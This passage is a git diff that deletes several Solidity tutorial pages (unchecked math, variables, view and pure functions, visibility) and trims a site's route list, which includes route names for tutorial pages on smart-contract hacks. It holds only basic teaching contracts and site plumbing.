    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract UncheckedMath {
    -    function add(uint x, uint y) external pure returns (uint) {
    -        // 22291 gas
    -        // return x + y;
    -
    -        // 22103 gas
    -        unchecked {
    -            return x + y;
    -        }
    -    }
    -
    -    function sub(uint x, uint y) external pure returns (uint) {
    -        // 22329 gas
    -        // return x - y;
    -
    -        // 22147 gas
    -        unchecked {
    -            return x - y;
    -        }
    -    }
    -
    -    function sumOfCubes(uint x, uint y) external pure returns (uint) {
    -        // Wrap complex math logic inside unchecked
    -        unchecked {
    -            uint x3 = x * x * x;
    -            uint y3 = y * y * y;
    -
    -            return x3 + y3;
    -        }
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/unchecked-math/index.md b/src/pages/unchecked-math/index.md deleted file mode 100644 index c435acfff..000000000 --- a/src/pages/unchecked-math/index.md +++ /dev/null @@ -1,14 +0,0 @@ ---- -title: Unchecked Math -version: 0.8.20 -description: An example of unchecked math in Solidity -keywords: [gas, unchecked, math, overflow, underflow] ---- - -Overflow and underflow of numbers in Solidity 0.8 throw an error. This can be disabled by using `unchecked`. - -Disabling overflow / underflow check saves gas. - -```solidity -{{{UncheckedMath}}} -``` diff --git a/src/pages/unchecked-math/index.tsx b/src/pages/unchecked-math/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/unchecked-math/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/variables/Variables.sol b/src/pages/variables/Variables.sol deleted file mode 100644 index 06233b367..000000000 --- a/src/pages/variables/Variables.sol +++ /dev/null @@ -1,17 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Variables { - // State variables are stored on the blockchain. - string public text = "Hello"; - uint public num = 123; - - function doSomething() public { - // Local variables are not saved to the blockchain. - uint i = 456; - - // Here are some global variables - uint timestamp = block.timestamp; // Current block timestamp - address sender = msg.sender; // address of the caller - } -} diff --git a/src/pages/variables/index.html.ts b/src/pages/variables/index.html.ts deleted file mode 100644 index 306becb54..000000000 --- a/src/pages/variables/index.html.ts +++ /dev/null @@ -1,48 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Variables" -export const description = "Local, state and global variables" - -export const keywords = ["variable", "variables", "local", "global", "state", "data"] - -export const codes = [ - { - fileName: "Variables.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZhcmlhYmxlcyB7CiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMgYXJlIHN0b3JlZCBvbiB0aGUgYmxvY2tjaGFpbi4KICAgIHN0cmluZyBwdWJsaWMgdGV4dCA9ICJIZWxsbyI7CiAgICB1aW50IHB1YmxpYyBudW0gPSAxMjM7CgogICAgZnVuY3Rpb24gZG9Tb21ldGhpbmcoKSBwdWJsaWMgewogICAgICAgIC8vIExvY2FsIHZhcmlhYmxlcyBhcmUgbm90IHNhdmVkIHRvIHRoZSBibG9ja2NoYWluLgogICAgICAgIHVpbnQgaSA9IDQ1NjsKCiAgICAgICAgLy8gSGVyZSBhcmUgc29tZSBnbG9iYWwgdmFyaWFibGVzCiAgICAgICAgdWludCB0aW1lc3RhbXAgPSBibG9jay50aW1lc3RhbXA7IC8vIEN1cnJlbnQgYmxvY2sgdGltZXN0YW1wCiAgICAgICAgYWRkcmVzcyBzZW5kZXIgPSBtc2cuc2VuZGVyOyAvLyBhZGRyZXNzIG9mIHRoZSBjYWxsZXIKICAgIH0KfQo=", - }, -] - -const html = `

    There are 3 types of variables in Solidity

    -
      -
    • local
        -
      • declared inside a function
      • -
      • not stored on the blockchain
      • -
      -
    • -
    • state
        -
      • declared outside a function
      • -
      • stored on the blockchain
      • -
      -
    • -
    • global (provides information about the blockchain)
    • -
    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Variables {
    -    // State variables are stored on the blockchain.
    -    string public text = "Hello";
    -    uint public num = 123;
    -
    -    function doSomething() public {
    -        // Local variables are not saved to the blockchain.
    -        uint i = 456;
    -
    -        // Here are some global variables
    -        uint timestamp = block.timestamp; // Current block timestamp
    -        address sender = msg.sender; // address of the caller
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/variables/index.md b/src/pages/variables/index.md deleted file mode 100644 index 44b3f0943..000000000 --- a/src/pages/variables/index.md +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: Variables -version: 0.8.20 -description: Local, state and global variables -keywords: [variable, variables, local, global, state, data] ---- - -There are 3 types of variables in Solidity - -- **local** - - declared inside a function - - not stored on the blockchain -- **state** - - declared outside a function - - stored on the blockchain -- **global** (provides information about the blockchain) - -```solidity -{{{Variables}}} -``` diff --git a/src/pages/variables/index.tsx b/src/pages/variables/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/variables/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/view-and-pure-functions/ViewAndPureFunctions.sol b/src/pages/view-and-pure-functions/ViewAndPureFunctions.sol deleted file mode 100644 index eb73d4aea..000000000 --- a/src/pages/view-and-pure-functions/ViewAndPureFunctions.sol +++ /dev/null @@ -1,16 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract ViewAndPure { - uint public x = 1; - - // Promise not to modify the state. - function addToX(uint y) public view returns (uint) { - return x + y; - } - - // Promise not to modify or read from the state. - function add(uint i, uint j) public pure returns (uint) { - return i + j; - } -} diff --git a/src/pages/view-and-pure-functions/index.html.ts b/src/pages/view-and-pure-functions/index.html.ts deleted file mode 100644 index 1cfd30f12..000000000 --- a/src/pages/view-and-pure-functions/index.html.ts +++ /dev/null @@ -1,36 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "View and Pure Functions" -export const description = "An example of view and pure functions in Solidity" - -export const keywords = ["view", "pure", "function", "functions"] - -export const codes = [ - { - fileName: "ViewAndPureFunctions.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IFZpZXdBbmRQdXJlIHsKICAgIHVpbnQgcHVibGljIHggPSAxOwoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSB0aGUgc3RhdGUuCiAgICBmdW5jdGlvbiBhZGRUb1godWludCB5KSBwdWJsaWMgdmlldyByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIHggKyB5OwogICAgfQoKICAgIC8vIFByb21pc2Ugbm90IHRvIG1vZGlmeSBvciByZWFkIGZyb20gdGhlIHN0YXRlLgogICAgZnVuY3Rpb24gYWRkKHVpbnQgaSwgdWludCBqKSBwdWJsaWMgcHVyZSByZXR1cm5zICh1aW50KSB7CiAgICAgICAgcmV0dXJuIGkgKyBqOwogICAgfQp9Cg==", - }, -] - -const html = `

    Getter functions can be declared view or pure.

    -

    View function declares that no state will be changed.

    -

    Pure function declares that no state variable will be changed or read.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract ViewAndPure {
    -    uint public x = 1;
    -
    -    // Promise not to modify the state.
    -    function addToX(uint y) public view returns (uint) {
    -        return x + y;
    -    }
    -
    -    // Promise not to modify or read from the state.
    -    function add(uint i, uint j) public pure returns (uint) {
    -        return i + j;
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/view-and-pure-functions/index.md b/src/pages/view-and-pure-functions/index.md deleted file mode 100644 index e47d90f8f..000000000 --- a/src/pages/view-and-pure-functions/index.md +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: View and Pure Functions -version: 0.8.20 -description: An example of view and pure functions in Solidity -keywords: [view, pure, function, functions] ---- - -Getter functions can be declared `view` or `pure`. - -`View` function declares that no state will be changed. - -`Pure` function declares that no state variable will be changed or read. - -```solidity -{{{ViewAndPureFunctions}}} -``` diff --git a/src/pages/view-and-pure-functions/index.tsx b/src/pages/view-and-pure-functions/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/view-and-pure-functions/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/pages/visibility/Visibility.sol b/src/pages/visibility/Visibility.sol deleted file mode 100644 index 22f1fddc0..000000000 --- a/src/pages/visibility/Visibility.sol +++ /dev/null @@ -1,66 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.20; - -contract Base { - // Private function can only be called - // - inside this contract - // Contracts that inherit this contract cannot call this function. - function privateFunc() private pure returns (string memory) { - return "private function called"; - } - - function testPrivateFunc() public pure returns (string memory) { - return privateFunc(); - } - - // Internal function can be called - // - inside this contract - // - inside contracts that inherit this contract - function internalFunc() internal pure returns (string memory) { - return "internal function called"; - } - - function testInternalFunc() public pure virtual returns (string memory) { - return internalFunc(); - } - - // Public functions can be called - // - inside this contract - // - inside contracts that inherit this contract - // - by other contracts and accounts - function publicFunc() public pure returns (string memory) { - return "public function called"; - } - - // External functions can only be called - // - by other contracts and accounts - function externalFunc() external pure returns (string memory) { - return "external function called"; - } - - // This function will not compile since we're trying to call - // an external function here. - // function testExternalFunc() public pure returns (string memory) { - // return externalFunc(); - // } - - // State variables - string private privateVar = "my private variable"; - string internal internalVar = "my internal variable"; - string public publicVar = "my public variable"; - // State variables cannot be external so this code won't compile. - // string external externalVar = "my external variable"; -} - -contract Child is Base { - // Inherited contracts do not have access to private functions - // and state variables. - // function testPrivateFunc() public pure returns (string memory) { - // return privateFunc(); - // } - - // Internal function call be called inside child contracts. - function testInternalFunc() public pure override returns (string memory) { - return internalFunc(); - } -} diff --git a/src/pages/visibility/index.html.ts b/src/pages/visibility/index.html.ts deleted file mode 100644 index e363cd82f..000000000 --- a/src/pages/visibility/index.html.ts +++ /dev/null @@ -1,101 +0,0 @@ -// metadata -export const version = "0.8.20" -export const title = "Visibility" -export const description = - "An example of external, internal, private and public functions in Solidity" - -export const keywords = [ - "visibility", - "function", - "functions", - "internal", - "private", - "public", - "external", -] - -export const codes = [ - { - fileName: "Visibility.sol", - code: "Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yMDsKCmNvbnRyYWN0IEJhc2UgewogICAgLy8gUHJpdmF0ZSBmdW5jdGlvbiBjYW4gb25seSBiZSBjYWxsZWQKICAgIC8vIC0gaW5zaWRlIHRoaXMgY29udHJhY3QKICAgIC8vIENvbnRyYWN0cyB0aGF0IGluaGVyaXQgdGhpcyBjb250cmFjdCBjYW5ub3QgY2FsbCB0aGlzIGZ1bmN0aW9uLgogICAgZnVuY3Rpb24gcHJpdmF0ZUZ1bmMoKSBwcml2YXRlIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAicHJpdmF0ZSBmdW5jdGlvbiBjYWxsZWQiOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RQcml2YXRlRnVuYygpIHB1YmxpYyBwdXJlIHJldHVybnMgKHN0cmluZyBtZW1vcnkpIHsKICAgICAgICByZXR1cm4gcHJpdmF0ZUZ1bmMoKTsKICAgIH0KCiAgICAvLyBJbnRlcm5hbCBmdW5jdGlvbiBjYW4gYmUgY2FsbGVkCiAgICAvLyAtIGluc2lkZSB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGluc2lkZSBjb250cmFjdHMgdGhhdCBpbmhlcml0IHRoaXMgY29udHJhY3QKICAgIGZ1bmN0aW9uIGludGVybmFsRnVuYygpIGludGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiaW50ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgdmlydHVhbCByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGludGVybmFsRnVuYygpOwogICAgfQoKICAgIC8vIFB1YmxpYyBmdW5jdGlvbnMgY2FuIGJlIGNhbGxlZAogICAgLy8gLSBpbnNpZGUgdGhpcyBjb250cmFjdAogICAgLy8gLSBpbnNpZGUgY29udHJhY3RzIHRoYXQgaW5oZXJpdCB0aGlzIGNvbnRyYWN0CiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIHB1YmxpY0Z1bmMoKSBwdWJsaWMgcHVyZSByZXR1cm5zIChzdHJpbmcgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuICJwdWJsaWMgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBFeHRlcm5hbCBmdW5jdGlvbnMgY2FuIG9ubHkgYmUgY2FsbGVkCiAgICAvLyAtIGJ5IG90aGVyIGNvbnRyYWN0cyBhbmQgYWNjb3VudHMKICAgIGZ1bmN0aW9uIGV4dGVybmFsRnVuYygpIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiAiZXh0ZXJuYWwgZnVuY3Rpb24gY2FsbGVkIjsKICAgIH0KCiAgICAvLyBUaGlzIGZ1bmN0aW9uIHdpbGwgbm90IGNvbXBpbGUgc2luY2Ugd2UncmUgdHJ5aW5nIHRvIGNhbGwKICAgIC8vIGFuIGV4dGVybmFsIGZ1bmN0aW9uIGhlcmUuCiAgICAvLyBmdW5jdGlvbiB0ZXN0RXh0ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBleHRlcm5hbEZ1bmMoKTsKICAgIC8vIH0KCiAgICAvLyBTdGF0ZSB2YXJpYWJsZXMKICAgIHN0cmluZyBwcml2YXRlIHByaXZhdGVWYXIgPSAibXkgcHJpdmF0ZSB2YXJpYWJsZSI7CiAgICBzdHJpbmcgaW50ZXJuYWwgaW50ZXJuYWxWYXIgPSAibXkgaW50ZXJuYWwgdmFyaWFibGUiOwogICAgc3RyaW5nIHB1YmxpYyBwdWJsaWNWYXIgPSAibXkgcHVibGljIHZhcmlhYmxlIjsKICAgIC8vIFN0YXRlIHZhcmlhYmxlcyBjYW5ub3QgYmUgZXh0ZXJuYWwgc28gdGhpcyBjb2RlIHdvbid0IGNvbXBpbGUuCiAgICAvLyBzdHJpbmcgZXh0ZXJuYWwgZXh0ZXJuYWxWYXIgPSAibXkgZXh0ZXJuYWwgdmFyaWFibGUiOwp9Cgpjb250cmFjdCBDaGlsZCBpcyBCYXNlIHsKICAgIC8vIEluaGVyaXRlZCBjb250cmFjdHMgZG8gbm90IGhhdmUgYWNjZXNzIHRvIHByaXZhdGUgZnVuY3Rpb25zCiAgICAvLyBhbmQgc3RhdGUgdmFyaWFibGVzLgogICAgLy8gZnVuY3Rpb24gdGVzdFByaXZhdGVGdW5jKCkgcHVibGljIHB1cmUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgLy8gICAgIHJldHVybiBwcml2YXRlRnVuYygpOwogICAgLy8gfQoKICAgIC8vIEludGVybmFsIGZ1bmN0aW9uIGNhbGwgYmUgY2FsbGVkIGluc2lkZSBjaGlsZCBjb250cmFjdHMuCiAgICBmdW5jdGlvbiB0ZXN0SW50ZXJuYWxGdW5jKCkgcHVibGljIHB1cmUgb3ZlcnJpZGUgcmV0dXJucyAoc3RyaW5nIG1lbW9yeSkgewogICAgICAgIHJldHVybiBpbnRlcm5hbEZ1bmMoKTsKICAgIH0KfQo=", - }, -] - -const html = `

    Functions and state variables have to declare whether they are accessible by other contracts.

    -

    Functions can be declared as

    -
      -
    • public - any contract and account can call
    • -
    • private - only inside the contract that defines the function
    • -
    • internal- only inside contract that inherits an internal function
    • -
    • external - only other contracts and accounts can call
    • -
    -

    State variables can be declared as public, private, or internal but not external.

    -
    // SPDX-License-Identifier: MIT
    -pragma solidity ^0.8.20;
    -
    -contract Base {
    -    // Private function can only be called
    -    // - inside this contract
    -    // Contracts that inherit this contract cannot call this function.
    -    function privateFunc() private pure returns (string memory) {
    -        return "private function called";
    -    }
    -
    -    function testPrivateFunc() public pure returns (string memory) {
    -        return privateFunc();
    -    }
    -
    -    // Internal function can be called
    -    // - inside this contract
    -    // - inside contracts that inherit this contract
    -    function internalFunc() internal pure returns (string memory) {
    -        return "internal function called";
    -    }
    -
    -    function testInternalFunc() public pure virtual returns (string memory) {
    -        return internalFunc();
    -    }
    -
    -    // Public functions can be called
    -    // - inside this contract
    -    // - inside contracts that inherit this contract
    -    // - by other contracts and accounts
    -    function publicFunc() public pure returns (string memory) {
    -        return "public function called";
    -    }
    -
    -    // External functions can only be called
    -    // - by other contracts and accounts
    -    function externalFunc() external pure returns (string memory) {
    -        return "external function called";
    -    }
    -
    -    // This function will not compile since we're trying to call
    -    // an external function here.
    -    // function testExternalFunc() public pure returns (string memory) {
    -    //     return externalFunc();
    -    // }
    -
    -    // State variables
    -    string private privateVar = "my private variable";
    -    string internal internalVar = "my internal variable";
    -    string public publicVar = "my public variable";
    -    // State variables cannot be external so this code won't compile.
    -    // string external externalVar = "my external variable";
    -}
    -
    -contract Child is Base {
    -    // Inherited contracts do not have access to private functions
    -    // and state variables.
    -    // function testPrivateFunc() public pure returns (string memory) {
    -    //     return privateFunc();
    -    // }
    -
    -    // Internal function call be called inside child contracts.
    -    function testInternalFunc() public pure override returns (string memory) {
    -        return internalFunc();
    -    }
    -}
    -
    ` - -export default html diff --git a/src/pages/visibility/index.md b/src/pages/visibility/index.md deleted file mode 100644 index 81d31a457..000000000 --- a/src/pages/visibility/index.md +++ /dev/null @@ -1,21 +0,0 @@ ---- -title: Visibility -version: 0.8.20 -description: An example of external, internal, private and public functions in Solidity -keywords: [visibility, function, functions, internal, private, public, external] ---- - -Functions and state variables have to declare whether they are accessible by other contracts. - -Functions can be declared as - -- `public` - any contract and account can call -- `private` - only inside the contract that defines the function -- `internal`- only inside contract that inherits an `internal` function -- `external` - only other contracts and accounts can call - -State variables can be declared as `public`, `private`, or `internal` but not `external`. - -```solidity -{{{Visibility}}} -``` diff --git a/src/pages/visibility/index.tsx b/src/pages/visibility/index.tsx deleted file mode 100644 index e44c294e3..000000000 --- a/src/pages/visibility/index.tsx +++ /dev/null @@ -1,29 +0,0 @@ -import React from "react" -import Example from "../../components/Example" -import html, { version, title, description, codes } from "./index.html" - -interface Path { - path: string - title: string -} - -interface Props { - prev: Path | null - next: Path | null -} - -const ExamplePage: React.FC = ({ prev, next }) => { - return ( - - ) -} - -export default ExamplePage diff --git a/src/routes.tsx b/src/routes.tsx index fdb27dcb5..112241229 100644 --- a/src/routes.tsx +++ b/src/routes.tsx @@ -1,110 +1,6 @@ -import component_abi_decode from "./pages/abi-decode" -import component_abi_encode from "./pages/abi-encode" -import component_app_assembly_bin_exp from "./pages/app/assembly-bin-exp" -import component_app_bi_directional_payment_channel from "./pages/app/bi-directional-payment-channel" -import component_app_create2 from "./pages/app/create2" -import component_app_crowd_fund from "./pages/app/crowd-fund" -import component_app_deploy_any_contract from "./pages/app/deploy-any-contract" -import component_app_dutch_auction from "./pages/app/dutch-auction" -import component_app_english_auction from "./pages/app/english-auction" -import component_app_erc1155 from "./pages/app/erc1155" -import component_app_erc20 from "./pages/app/erc20" -import component_app_erc721 from "./pages/app/erc721" -import component_app_ether_wallet from "./pages/app/ether-wallet" -import component_app_gasless_token_transfer from "./pages/app/gasless-token-transfer" -import component_app_iterable_mapping from "./pages/app/iterable-mapping" -import component_app_merkle_tree from "./pages/app/merkle-tree" -import component_app_minimal_proxy from "./pages/app/minimal-proxy" -import component_app_multi_call from "./pages/app/multi-call" -import component_app_multi_delegatecall from "./pages/app/multi-delegatecall" -import component_app_multi_sig_wallet from "./pages/app/multi-sig-wallet" -import component_app_simple_bytecode_contract from "./pages/app/simple-bytecode-contract" -import component_app_time_lock from "./pages/app/time-lock" -import component_app_uni_directional_payment_channel from "./pages/app/uni-directional-payment-channel" -import component_app_upgradeable_proxy from "./pages/app/upgradeable-proxy" -import component_app_write_to_any_slot from "./pages/app/write-to-any-slot" -import component_array from "./pages/array" -import component_assembly_error from "./pages/assembly-error" -import component_assembly_if from "./pages/assembly-if" -import component_assembly_loop from "./pages/assembly-loop" -import component_assembly_math from "./pages/assembly-math" -import component_assembly_variable from "./pages/assembly-variable" -import component_bitwise from "./pages/bitwise" -import component_call from "./pages/call" -import component_calling_contract from "./pages/calling-contract" -import component_constants from "./pages/constants" -import component_constructor from "./pages/constructor" import component_create_liquidity from "./pages/create-liquidity" -import component_data_locations from "./pages/data-locations" -import component_defi_chainlink_price_oracle from "./pages/defi/chainlink-price-oracle" -import component_defi_constant_product_amm from "./pages/defi/constant-product-amm" -import component_defi_constant_sum_amm from "./pages/defi/constant-sum-amm" -import component_defi_discrete_staking_rewards from "./pages/defi/discrete-staking-rewards" -import component_defi_stable_swap_amm from "./pages/defi/stable-swap-amm" -import component_defi_staking_rewards from "./pages/defi/staking-rewards" -import component_defi_uniswap_v2 from "./pages/defi/uniswap-v2" -import component_defi_uniswap_v2_add_remove_liquidity from "./pages/defi/uniswap-v2-add-remove-liquidity" -import component_defi_uniswap_v2_flash_swap from "./pages/defi/uniswap-v2-flash-swap" -import component_defi_uniswap_v2_optimal_one_sided_supply from "./pages/defi/uniswap-v2-optimal-one-sided-supply" -import component_defi_uniswap_v3_flash from "./pages/defi/uniswap-v3-flash" -import component_defi_uniswap_v3_flash_swap from "./pages/defi/uniswap-v3-flash-swap" -import component_defi_uniswap_v3_liquidity from "./pages/defi/uniswap-v3-liquidity" -import component_defi_uniswap_v3_swap from "./pages/defi/uniswap-v3-swap" -import component_defi_vault from "./pages/defi/vault" -import component_delegatecall from "./pages/delegatecall" -import component_enum from "./pages/enum" -import component_error from "./pages/error" -import component_ether_units from "./pages/ether-units" -import component_events from "./pages/events" -import component_fallback from "./pages/fallback" -import component_first_app from "./pages/first-app" -import component_function from "./pages/function" -import component_function_modifier from "./pages/function-modifier" -import component_function_selector from "./pages/function-selector" -import component_gas from "./pages/gas" -import component_gas_golf from "./pages/gas-golf" -import component_hacks_accessing_private_data from "./pages/hacks/accessing-private-data" -import component_hacks_block_timestamp_manipulation from "./pages/hacks/block-timestamp-manipulation" -import component_hacks_contract_size from "./pages/hacks/contract-size" -import component_hacks_delegatecall from "./pages/hacks/delegatecall" -import component_hacks_denial_of_service from "./pages/hacks/denial-of-service" -import component_hacks_deploy_different_contracts_same_address from "./pages/hacks/deploy-different-contracts-same-address" -import component_hacks_front_running from "./pages/hacks/front-running" -import component_hacks_hiding_malicious_code_with_external_contract from "./pages/hacks/hiding-malicious-code-with-external-contract" -import component_hacks_honeypot from "./pages/hacks/honeypot" -import component_hacks_overflow from "./pages/hacks/overflow" -import component_hacks_phishing_with_tx_origin from "./pages/hacks/phishing-with-tx-origin" -import component_hacks_randomness from "./pages/hacks/randomness" -import component_hacks_re_entrancy from "./pages/hacks/re-entrancy" -import component_hacks_self_destruct from "./pages/hacks/self-destruct" -import component_hacks_signature_replay from "./pages/hacks/signature-replay" -import component_hashing from "./pages/hashing" -import component_hello_world from "./pages/hello-world" -import component_if_else from "./pages/if-else" -import component_immutable from "./pages/immutable" -import component_import from "./pages/import" -import component_inheritance from "./pages/inheritance" import component_initialize from "./pages/initialize" -import component_interface from "./pages/interface" -import component_library from "./pages/library" -import component_loop from "./pages/loop" -import component_mapping from "./pages/mapping" -import component_new_contract from "./pages/new-contract" -import component_payable from "./pages/payable" -import component_primitives from "./pages/primitives" -import component_sending_ether from "./pages/sending-ether" -import component_shadowing_inherited_state_variables from "./pages/shadowing-inherited-state-variables" -import component_signature from "./pages/signature" -import component_state_variables from "./pages/state-variables" -import component_structs from "./pages/structs" -import component_super from "./pages/super" import component_swap from "./pages/swap" -import component_tests_echidna from "./pages/tests/echidna" -import component_try_catch from "./pages/try-catch" -import component_unchecked_math from "./pages/unchecked-math" -import component_variables from "./pages/variables" -import component_view_and_pure_functions from "./pages/view-and-pure-functions" -import component_visibility from "./pages/visibility" import component_ from "./pages" interface Path { @@ -124,434 +20,18 @@ interface Route { } const routes: Route[] = [ - { - path: "/abi-decode", - component: component_abi_decode - }, - { - path: "/abi-encode", - component: component_abi_encode - }, - { - path: "/app/assembly-bin-exp", - component: component_app_assembly_bin_exp - }, - { - path: "/app/bi-directional-payment-channel", - component: component_app_bi_directional_payment_channel - }, - { - path: "/app/create2", - component: component_app_create2 - }, - { - path: "/app/crowd-fund", - component: component_app_crowd_fund - }, - { - path: "/app/deploy-any-contract", - component: component_app_deploy_any_contract - }, - { - path: "/app/dutch-auction", - component: component_app_dutch_auction - }, - { - path: "/app/english-auction", - component: component_app_english_auction - }, - { - path: "/app/erc1155", - component: component_app_erc1155 - }, - { - path: "/app/erc20", - component: component_app_erc20 - }, - { - path: "/app/erc721", - component: component_app_erc721 - }, - { - path: "/app/ether-wallet", - component: component_app_ether_wallet - }, - { - path: "/app/gasless-token-transfer", - component: component_app_gasless_token_transfer - }, - { - path: "/app/iterable-mapping", - component: component_app_iterable_mapping - }, - { - path: "/app/merkle-tree", - component: component_app_merkle_tree - }, - { - path: "/app/minimal-proxy", - component: component_app_minimal_proxy - }, - { - path: "/app/multi-call", - component: component_app_multi_call - }, - { - path: "/app/multi-delegatecall", - component: component_app_multi_delegatecall - }, - { - path: "/app/multi-sig-wallet", - component: component_app_multi_sig_wallet - }, - { - path: "/app/simple-bytecode-contract", - component: component_app_simple_bytecode_contract - }, - { - path: "/app/time-lock", - component: component_app_time_lock - }, - { - path: "/app/uni-directional-payment-channel", - component: component_app_uni_directional_payment_channel - }, - { - path: "/app/upgradeable-proxy", - component: component_app_upgradeable_proxy - }, - { - path: "/app/write-to-any-slot", - component: component_app_write_to_any_slot - }, - { - path: "/array", - component: component_array - }, - { - path: "/assembly-error", - component: component_assembly_error - }, - { - path: "/assembly-if", - component: component_assembly_if - }, - { - path: "/assembly-loop", - component: component_assembly_loop - }, - { - path: "/assembly-math", - component: component_assembly_math - }, - { - path: "/assembly-variable", - component: component_assembly_variable - }, - { - path: "/bitwise", - component: component_bitwise - }, - { - path: "/call", - component: component_call - }, - { - path: "/calling-contract", - component: component_calling_contract - }, - { - path: "/constants", - component: component_constants - }, - { - path: "/constructor", - component: component_constructor - }, { path: "/create-liquidity", component: component_create_liquidity }, - { - path: "/data-locations", - component: component_data_locations - }, - { - path: "/defi/chainlink-price-oracle", - component: component_defi_chainlink_price_oracle - }, - { - path: "/defi/constant-product-amm", - component: component_defi_constant_product_amm - }, - { - path: "/defi/constant-sum-amm", - component: component_defi_constant_sum_amm - }, - { - path: "/defi/discrete-staking-rewards", - component: component_defi_discrete_staking_rewards - }, - { - path: "/defi/stable-swap-amm", - component: component_defi_stable_swap_amm - }, - { - path: "/defi/staking-rewards", - component: component_defi_staking_rewards - }, - { - path: "/defi/uniswap-v2", - component: component_defi_uniswap_v2 - }, - { - path: "/defi/uniswap-v2-add-remove-liquidity", - component: component_defi_uniswap_v2_add_remove_liquidity - }, - { - path: "/defi/uniswap-v2-flash-swap", - component: component_defi_uniswap_v2_flash_swap - }, - { - path: "/defi/uniswap-v2-optimal-one-sided-supply", - component: component_defi_uniswap_v2_optimal_one_sided_supply - }, - { - path: "/defi/uniswap-v3-flash", - component: component_defi_uniswap_v3_flash - }, - { - path: "/defi/uniswap-v3-flash-swap", - component: component_defi_uniswap_v3_flash_swap - }, - { - path: "/defi/uniswap-v3-liquidity", - component: component_defi_uniswap_v3_liquidity - }, - { - path: "/defi/uniswap-v3-swap", - component: component_defi_uniswap_v3_swap - }, - { - path: "/defi/vault", - component: component_defi_vault - }, - { - path: "/delegatecall", - component: component_delegatecall - }, - { - path: "/enum", - component: component_enum - }, - { - path: "/error", - component: component_error - }, - { - path: "/ether-units", - component: component_ether_units - }, - { - path: "/events", - component: component_events - }, - { - path: "/fallback", - component: component_fallback - }, - { - path: "/first-app", - component: component_first_app - }, - { - path: "/function", - component: component_function - }, - { - path: "/function-modifier", - component: component_function_modifier - }, - { - path: "/function-selector", - component: component_function_selector - }, - { - path: "/gas", - component: component_gas - }, - { - path: "/gas-golf", - component: component_gas_golf - }, - { - path: "/hacks/accessing-private-data", - component: component_hacks_accessing_private_data - }, - { - path: "/hacks/block-timestamp-manipulation", - component: component_hacks_block_timestamp_manipulation - }, - { - path: "/hacks/contract-size", - component: component_hacks_contract_size - }, - { - path: "/hacks/delegatecall", - component: component_hacks_delegatecall - }, - { - path: "/hacks/denial-of-service", - component: component_hacks_denial_of_service - }, - { - path: "/hacks/deploy-different-contracts-same-address", - component: component_hacks_deploy_different_contracts_same_address - }, - { - path: "/hacks/front-running", - component: component_hacks_front_running - }, - { - path: "/hacks/hiding-malicious-code-with-external-contract", - component: 